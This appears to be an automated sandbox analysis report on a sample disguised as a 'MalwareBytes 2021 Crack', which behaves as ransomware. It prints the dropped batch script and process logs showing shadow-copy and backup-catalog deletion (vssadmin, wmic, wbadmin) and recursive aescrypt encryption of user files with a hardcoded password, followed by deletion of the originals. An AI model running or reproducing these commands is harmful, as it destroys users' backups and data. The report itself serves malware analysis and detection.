Preview:	@shift /0..vssadmin delete shadows /quiet /all..wmic.exe shadowcopy delete..wbadmin delete catalog /quiet..set pass=CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f..copy photo.bmp %appdata%\inf.bmp..FOR /R "%homedrive%\" %%X in (.txt) DO (..aescrypt.exe -e -p "%pass%" "%%X"..del "%%X"..)..FOR /R "%homedrive%\" %%X in (.png) DO (..aescrypt.exe -e -p "%pass%" "%%X"..del "%%X"..)..FOR /R "%homedrive%\" %%X in (.doc) DO (..aescrypt.exe -e -p "%pass%" "%%X"..del "%%X"..)..FOR /R "%homedrive%\" %%X in (.docx) DO (..aescrypt.exe -e -p "%pass%" "%%X"..del "%%X"..)..FOR /R "%homedrive%\" %%X in (.jpg) DO (..aescrypt.exe -e -p "%pass%" "%%X"..del "%%X"..)..FOR /R "%homedrive%\" %%X in (.jpeg) DO (..aescrypt.exe -e -p "%pass%" "%%X"..del "%%X"..)..FOR /R "%homedrive%\" %%X in (*.webp) DO (..aes

C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe Download File
Process:	C:\Users\user\Desktop\hztxqReczN.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144384
Entropy (8bit):	6.805779966193588
Encrypted:	false
SSDEEP:	3072:NgzEhDpHGk/gqrYxgHNEt3koN0Shi76u7:NiEhNHgqrLme+i
MD5:	82FF688AA9253B356E5D890FF311B59E
SHA1:	4A143FC08B6A55866403966918026509BEFCC7C1
SHA-256:	B68FC901D758BA9EA3A5A616ABD34D1662197AA31B502F27CBF2579A947E53E9
SHA-512:	CBB3D81E3237B856E158C5F38F84230A50F913BDADA0EF37B679E27E7DDF3C970173B68D2415DD8A7377BA543206BB8E0FE77C61334B47C5684E3DDFFF86ACED
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe, Author: Joe Security
Antivirus:	Antivirus: Virustotal, Detection: 32%, Browse Antivirus: Metadefender, Detection: 21%, Browse Antivirus: ReversingLabs, Detection: 21%
Joe Sandbox View:	Filename: BleachGap.exe, Detection: malicious, Browse Filename: SuperEnjoy.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............d..d..d.A...d.A...d.A..7.d.....d..e...d.....d.A...d.A...d.A...d.Rich..d.........................PE..L...P.1U.................$...................@....@.................................N.....@..................................p..<...............................p...pA...............................k..@............@..0............................text...J#.......$.................. ..`.rdata...7...@...8...(..............@..@.data... g...........`..............@....rsrc................p..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ADC0.tmp\photo.bmp Download File
Process:	C:\Users\user\Desktop\hztxqReczN.exe
File Type:	PC bitmap, Windows 3.x format, 300 x 287 x 24
Category:	dropped
Size (bytes):	258354
Entropy (8bit):	4.954840027004799
Encrypted:	false
SSDEEP:	3072:fLSt2iBltKlCr/6sdRZC/0/5cB04NOuxThgfSKgi9YGWhGDcFWUqzLrPvlyxdN:zSt21BxxrG3c4frFcN
MD5:	D25B9F1D627255AF12C443EA488A1670
SHA1:	21616E916AF754F771048CA65142B20843F17A18
SHA-256:	8018C7AEFF1F6619F0388D6536671ADBE0BDC996BE44A4F070A37285160C9030
SHA-512:	67711301BCC43DD85756AB8B0A610F2CE31ABEF42E67AD866DC1711DA71B1408685D232C56FA8FB2717BF88E7E4C6A5C6141E6380D5BF3A0E95DEF51F127E50B
Malicious:	false
Preview:	BM2.......6...(...,...................................YYYBBBOOO.....RRR...yyy...PPPJJJdddLLLJJJGGG...rrrFFF...aaaLLL...<<<DDD444............DDD......mmm.........aaa<<<...___[[[zzzHHHAAADDD......GGGNNN...GGG......KKKbbb888lllJJJ......===QQQfff}}}...CCC......wwwrrr.........>>>jjj......GGG~~~PPPBBB......```sss]]]NNNJJJ.........dddAAAMMM...777.......pppLLLTTT\|\|\|SSSSSSIIIJJJDDD...}}}>>>QQQPPPEEE...QQQRRRLLL...[[[bbb[[[QQQVVVLLL^^^ggg]]]ZZZ\|\|\|......jjj....hhhEEE...........^^^XXXIII......AAAzzz...FFF(((.......]]]@@@___RRRTTT}}}...???QQQ\\\aaaNNN___...lllFFFSSSTTTKKKIIIfffFFF.........tttrrr...]]]555~~~XXXGGGFFFDDDFFFvvvKKKuuu...XXX...vvv...BBB}}}........666LLLFFFTTTGGGjjj........SSS...NNN...rrrQQQ......EEE999...........GGGDDD.........GGGNNNPPPBBBVVVOOOXXXKKKvvvjjj......XXXwww...sss......UUU]]];;;vvv___.........333zzz...PPPXXXIIIOOOOOOIII<<<^^^NNNGGGTTT......888iiigggLLLQQQbbbIIIxxx.....666SSSppp...}}}III888......GGG...fffNNNIII888eee...ttt___JJJIII...\|\|\|VVV......@@@---.........yyyU

C:\Users\user\AppData\Roaming\inf.bmp Download File
Process:	C:\Windows\System32\cmd.exe
File Type:	PC bitmap, Windows 3.x format, 300 x 287 x 24
Category:	dropped
Size (bytes):	258354
Entropy (8bit):	4.954840027004799
Encrypted:	false
SSDEEP:	3072:fLSt2iBltKlCr/6sdRZC/0/5cB04NOuxThgfSKgi9YGWhGDcFWUqzLrPvlyxdN:zSt21BxxrG3c4frFcN
MD5:	D25B9F1D627255AF12C443EA488A1670
SHA1:	21616E916AF754F771048CA65142B20843F17A18
SHA-256:	8018C7AEFF1F6619F0388D6536671ADBE0BDC996BE44A4F070A37285160C9030
SHA-512:	67711301BCC43DD85756AB8B0A610F2CE31ABEF42E67AD866DC1711DA71B1408685D232C56FA8FB2717BF88E7E4C6A5C6141E6380D5BF3A0E95DEF51F127E50B
Malicious:	false
Preview:	BM2.......6...(...,...................................YYYBBBOOO.....RRR...yyy...PPPJJJdddLLLJJJGGG...rrrFFF...aaaLLL...<<<DDD444............DDD......mmm.........aaa<<<...___[[[zzzHHHAAADDD......GGGNNN...GGG......KKKbbb888lllJJJ......===QQQfff}}}...CCC......wwwrrr.........>>>jjj......GGG~~~PPPBBB......```sss]]]NNNJJJ.........dddAAAMMM...777.......pppLLLTTT\|\|\|SSSSSSIIIJJJDDD...}}}>>>QQQPPPEEE...QQQRRRLLL...[[[bbb[[[QQQVVVLLL^^^ggg]]]ZZZ\|\|\|......jjj....hhhEEE...........^^^XXXIII......AAAzzz...FFF(((.......]]]@@@___RRRTTT}}}...???QQQ\\\aaaNNN___...lllFFFSSSTTTKKKIIIfffFFF.........tttrrr...]]]555~~~XXXGGGFFFDDDFFFvvvKKKuuu...XXX...vvv...BBB}}}........666LLLFFFTTTGGGjjj........SSS...NNN...rrrQQQ......EEE999...........GGGDDD.........GGGNNNPPPBBBVVVOOOXXXKKKvvvjjj......XXXwww...sss......UUU]]];;;vvv___.........333zzz...PPPXXXIIIOOOOOOIII<<<^^^NNNGGGTTT......888iiigggLLLQQQbbbIIIxxx.....666SSSppp...}}}III888......GGG...fffNNNIII888eee...ttt___JJJIII...\|\|\|VVV......@@@---.........yyyU

\Device\ConDrv Download File
Process:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	393
Entropy (8bit):	4.824969837710695
Encrypted:	false
SSDEEP:	12:o66Cmj6JUBVwuVwuVwuVwuVwuVwuVwLCbJnNVTyguRbJnNYCO:o66gJwVwuVwuVwuVwuVwuVwuVwub9NIo
MD5:	A63E04B4432B47AA751FB1A4D7703145
SHA1:	C0D6D81DF72576D8CE543E8CD0B78D1FFD6F31C8
SHA-256:	711D9FD91D3B27D59093BA1900DC72BA4AF4DF866DF8C35A84DE218E6D52649B
SHA-512:	39EA4F8F6DD09F165B324F83FB80ECF5E4D93702F34991226AF2CC811160AF02209E8845B153EA54E3D5B94410EE0849C47BF2197E70A75E45320D1D7DE71A8D
Malicious:	false
Preview:	Error opening input file C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt : No such file or directory..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.2196461459822885
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	hztxqReczN.exe
File size:	395776
MD5:	f6587e051ff9bf2e20825470ae5b3775
SHA1:	9b28d1e6cbff6b1397712a49c540b2ef999d78bc
SHA256:	98e3304a43402227458a979aad31e2ec1543c0c5d58c118d0a8fa8c70cc78d74
SHA512:	b3cd1c3577fac05cf318cb8c4a34f6afb3a44e0abe2e2bfc81ca246e503e0c9ac3daac794c87993f3eac82859b6692ae31bfe618a11099f87e5fd5a731950626
SSDEEP:	6144:xzBkLL2NTBZ56KR7Krw77d6nJqaOtxrMtTZ2W5loDNYPcOvZ1JtqRhMXDFt:xKyNTn5607KrwVMjq1q9j5loJzcFt1t
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....usZ...............2..................... ....@..........................@.............................................

File Icon


Icon Hash:	689292aaccccf010

Static PE Info

General
Entrypoint:	0x401000
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x5A7375F8 [Thu Feb 1 20:18:00 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	5877688b4859ffd051f6be3b8e0cd533

Entrypoint Preview

Instruction
push 000000ACh
push 00000000h
push 00417008h
call 00007F3138E9C651h
add esp, 0Ch
push 00000000h
call 00007F3138E9C64Ah
mov dword ptr [0041700Ch], eax
push 00000000h
push 00001000h
push 00000000h
call 00007F3138E9C637h
mov dword ptr [00417008h], eax
call 00007F3138E9C5B1h
mov eax, 00416084h
mov dword ptr [0041702Ch], eax
call 00007F3138EA5372h
call 00007F3138EA50DEh
call 00007F3138EA1FD8h
call 00007F3138EA185Ch
call 00007F3138EA12EFh
call 00007F3138EA1069h
call 00007F3138EA0B8Dh
call 00007F3138EA030Dh
call 00007F3138E9C935h
call 00007F3138EA3C58h
call 00007F3138EA2700h
mov edx, 0041602Ah
lea ecx, dword ptr [00417014h]
call 00007F3138E9C5C8h
push FFFFFFF5h
call 00007F3138E9C5D8h
mov dword ptr [00417034h], eax
mov eax, 00000200h
push eax
lea eax, dword ptr [004170B0h]
push eax
xor eax, eax
push eax
push 00000015h
push 00000004h
call 00007F3138EA12B2h
push dword ptr [00417098h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x16174	0xc8	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x18000	0x4b62c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x16468	0x22c	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x37f0	0x3800	False	0.472307477679	data	5.61235572875	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.text	0x5000	0xcfa2	0xd000	False	0.513502854567	data	6.58582031604	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x12000	0x33a0	0x3400	False	0.804612379808	data	7.1102355063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x16000	0x1724	0x1200	False	0.390407986111	data	4.93430612866	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x18000	0x4b62c	0x4b800	False	0.71049772351	data	7.21745167563	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x1855c	0x4361	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x1c8c0	0x10828	dBase III DBT, version number 0, next free block index 40
RT_ICON	0x2d0e8	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_ICON	0x31310	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_ICON	0x338b8	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 0
RT_ICON	0x34960	0x468	GLS_BINARY_LSB_FIRST
RT_RCDATA	0x34dc8	0x10d15	data
RT_RCDATA	0x45ae0	0x1	very short file (no magic)
RT_RCDATA	0x45ae4	0x58	data
RT_RCDATA	0x45b3c	0x12	zlib compressed data
RT_RCDATA	0x45b50	0xa	data
RT_RCDATA	0x45b5c	0x14774	data
RT_RCDATA	0x5a2d0	0x8cfe	data
RT_GROUP_ICON	0x62fd0	0x5a	data
RT_VERSION	0x6302c	0x360	data
RT_MANIFEST	0x6338c	0x2a0	XML 1.0 document, ASCII text, with very long lines, with no line terminators

Imports

DLL	Import
MSVCRT.dll	memset, wcsncmp, memmove, wcsncpy, wcsstr, _wcsnicmp, _wcsdup, free, _wcsicmp, wcslen, wcscpy, wcscmp, memcpy, tolower, wcscat, malloc
KERNEL32.dll	GetModuleHandleW, HeapCreate, GetStdHandle, HeapDestroy, ExitProcess, WriteFile, GetTempFileNameW, LoadLibraryExW, EnumResourceTypesW, FreeLibrary, RemoveDirectoryW, GetExitCodeProcess, EnumResourceNamesW, GetCommandLineW, LoadResource, SizeofResource, FreeResource, FindResourceW, GetNativeSystemInfo, GetShortPathNameW, GetWindowsDirectoryW, GetSystemDirectoryW, EnterCriticalSection, CloseHandle, LeaveCriticalSection, InitializeCriticalSection, WaitForSingleObject, TerminateThread, CreateThread, Sleep, GetProcAddress, GetVersionExW, WideCharToMultiByte, HeapAlloc, HeapFree, LoadLibraryW, GetCurrentProcessId, GetCurrentThreadId, GetModuleFileNameW, GetEnvironmentVariableW, SetEnvironmentVariableW, GetCurrentProcess, TerminateProcess, SetUnhandledExceptionFilter, HeapSize, MultiByteToWideChar, CreateDirectoryW, SetFileAttributesW, GetTempPathW, DeleteFileW, GetCurrentDirectoryW, SetCurrentDirectoryW, CreateFileW, SetFilePointer, TlsFree, TlsGetValue, TlsSetValue, TlsAlloc, HeapReAlloc, DeleteCriticalSection, InterlockedCompareExchange, InterlockedExchange, GetLastError, SetLastError, UnregisterWait, GetCurrentThread, DuplicateHandle, RegisterWaitForSingleObject
USER32.DLL	CharUpperW, CharLowerW, MessageBoxW, DefWindowProcW, DestroyWindow, GetWindowLongW, GetWindowTextLengthW, GetWindowTextW, UnregisterClassW, LoadIconW, LoadCursorW, RegisterClassExW, IsWindowEnabled, EnableWindow, GetSystemMetrics, CreateWindowExW, SetWindowLongW, SendMessageW, SetFocus, CreateAcceleratorTableW, SetForegroundWindow, BringWindowToTop, GetMessageW, TranslateAcceleratorW, TranslateMessage, DispatchMessageW, DestroyAcceleratorTable, PostMessageW, GetForegroundWindow, GetWindowThreadProcessId, IsWindowVisible, EnumWindows, SetWindowPos
GDI32.DLL	GetStockObject
COMCTL32.DLL	InitCommonControlsEx
SHELL32.DLL	ShellExecuteExW, SHGetFolderLocation, SHGetPathFromIDListW
WINMM.DLL	timeBeginPeriod
OLE32.DLL	CoInitialize, CoTaskMemFree
SHLWAPI.DLL	PathAddBackslashW, PathRenameExtensionW, PathQuoteSpacesW, PathRemoveArgsW, PathRemoveBackslashW

Version Infos

Description	Data
LegalCopyright	MalwareBytes Corporation
FileVersion	1.2.0.2
CompanyName	MalwareBytes Corporation
LegalTrademarks	MalwareBytes Corporation
Comments	MalwareBytes 2021 Crack
ProductName	MalwareBytes
ProductVersion	1.2.0.2
FileDescription	MalwareBytes 2021 Crack
OriginalFilename	Setup.exe
Translation	0x0000 0x04e4

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: hztxqReczN.exe PID: 6608 Parent PID: 5712

General

Start time:	13:21:32
Start date:	11/04/2021
Path:	C:\Users\user\Desktop\hztxqReczN.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\hztxqReczN.exe'
Imagebase:	0x400000
File size:	395776 bytes
MD5 hash:	F6587E051FF9BF2E20825470AE5B3775
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000000.00000003.195020258.00000000025F6000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 6680 Parent PID: 6608

General

Start time:	13:21:33
Start date:	11/04/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\sysnative\cmd.exe' /c 'C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp\ADC2.bat C:\Users\user\Desktop\hztxqReczN.exe'
Imagebase:	0x7ff77d8b0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6704 Parent PID: 6680

General

Start time:	13:21:33
Start date:	11/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: vssadmin.exe PID: 6784 Parent PID: 6680

General

Start time:	13:21:34
Start date:	11/04/2021
Path:	C:\Windows\System32\vssadmin.exe
Wow64 process (32bit):	false
Commandline:	vssadmin delete shadows /quiet /all
Imagebase:	0x7ff6c9530000
File size:	145920 bytes
MD5 hash:	47D51216EF45075B5F7EAA117CC70E40
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: WMIC.exe PID: 6912 Parent PID: 6680

General

Start time:	13:21:35
Start date:	11/04/2021
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic.exe shadowcopy delete
Imagebase:	0x7ff77a710000
File size:	521728 bytes
MD5 hash:	EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: wbadmin.exe PID: 6968 Parent PID: 6680

General

Start time:	13:21:37
Start date:	11/04/2021
Path:	C:\Windows\System32\wbadmin.exe
Wow64 process (32bit):	false
Commandline:	wbadmin delete catalog /quiet
Imagebase:	0x7ff733d50000
File size:	281600 bytes
MD5 hash:	EE1E2C4D42579B19D765420E07589148
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: aescrypt.exe PID: 7004 Parent PID: 6680

General

Start time:	13:21:38
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\osver.txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000009.00000000.206847503.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe, Author: Joe Security
Antivirus matches:	Detection: 32%, Virustotal, Browse Detection: 21%, Metadefender, Browse Detection: 21%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 7044 Parent PID: 6680

General

Start time:	13:21:42
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000A.00000002.215803695.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000A.00000000.215652937.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 7060 Parent PID: 6680

General

Start time:	13:21:42
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000B.00000000.216720045.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 7084 Parent PID: 6680

General

Start time:	13:21:43
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000C.00000002.218586625.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000C.00000000.218345947.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 7100 Parent PID: 6680

General

Start time:	13:21:45
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000D.00000002.221794494.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000D.00000000.221592293.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 7116 Parent PID: 6680

General

Start time:	13:21:45
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
